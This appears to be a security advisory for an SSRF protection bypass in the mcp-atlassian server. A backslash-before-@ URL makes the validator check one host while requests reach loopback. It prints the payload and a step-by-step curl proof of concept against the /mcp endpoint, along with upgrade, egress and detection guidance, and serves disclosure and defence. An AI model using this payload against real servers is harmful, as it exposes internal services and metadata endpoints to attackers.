CVE-2026-77274: MCP Atlassian: SSRF Protection Bypass

This is a parser mismatch. validate_url_for_ssrf() calls urllib.parse.urlparse() and checks parsed.hostname. For the payload above that is www.baidu.com, so IP and DNS checks pass. The actual request goes through the Atlassian client and requests.Session, which treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the path, so the request lands on 127.0.0.1 port 6666 with the path /%[email protected]/rest/api/2/myself.

The entry point is the header-based authentication flow. With the streamable HTTP transport, a caller sends POST /mcp with X-Atlassian-Jira-Url set to the crafted value and any X-Atlassian-Jira-Personal-Token. A jira_get_issue call triggers fetcher creation and token validation, and the request reaches the local service. The reporter confirmed a listener on 127.0.0.1:6666 received it.

No privileges are needed in the CVSS vector. The attacker gets requests to loopback or internal services from the MCP host's network position, for example admin interfaces or metadata endpoints. The same applies to X-Atlassian-Confluence-Url.

mcp-atlassian below 0.22.0 when run with HTTP transport where clients can supply the Jira or Confluence URL headers. The report's tested-version line reads 2.14.5, which does not match the project's numbering; rely on the package data, which marks all versions below 0.22.0.

pip show mcp-atlassian

Upgrade to 0.22.0:

pip install --upgrade mcp-atlassian==0.22.0

The advisory suggests no separate workaround. Until you upgrade, do not expose the HTTP transport to untrusted clients, and restrict egress from the MCP host to your real Atlassian endpoints. Any SSRF check that parses a URL differently from the HTTP client is fragile, so the egress rule matters.

Search request logs for X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url values containing a backslash, an @ or an IP literal. On the host, look for outbound requests from the MCP process to 127.0.0.1 or internal ranges, and for incoming hits on internal services with paths starting /%5C@. Check for unexpected initialize calls on /mcp from unfamiliar clients.

Environment

• Project: sooperset/mcp-atlassian
• Affected function: validate_url_for_ssrf()
• Affected path: header-based Jira/Confluence URL authentication flow
• Tested endpoint: POST /mcp
• Tested version: 2.14.5

Description

The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)

Payload:

http://127.0.0.1:6666\@www.baidu.com

For this input, urllib.parse.urlparse() treats the hostname as:

www.baidu.com

Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:

http://127.0.0.1:6666/%[email protected]/rest/api/2/myself

This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:

python3 -m http.server 6666 --bind 127.0.0.1

Start mcp-atlassian with streamable HTTP transport on port 9000.

Initialize an MCP session with the malicious Jira URL:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'

Send the initialized notification using the returned Mcp-Session-Id:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'

Trigger Jira fetcher creation and token validation:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'

Observed response:

The local HTTP server also receives the request, confirming SSRF.

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

• validate_url_for_ssrf() uses urllib.parse.urlparse() and validates parsed.hostname.
• For the payload, parsed.hostname is www.baidu.com.
• The actual request is sent by the Atlassian client through requests.Session.
• requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.

This parser mismatch allows a restricted host to be hidden before \@.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.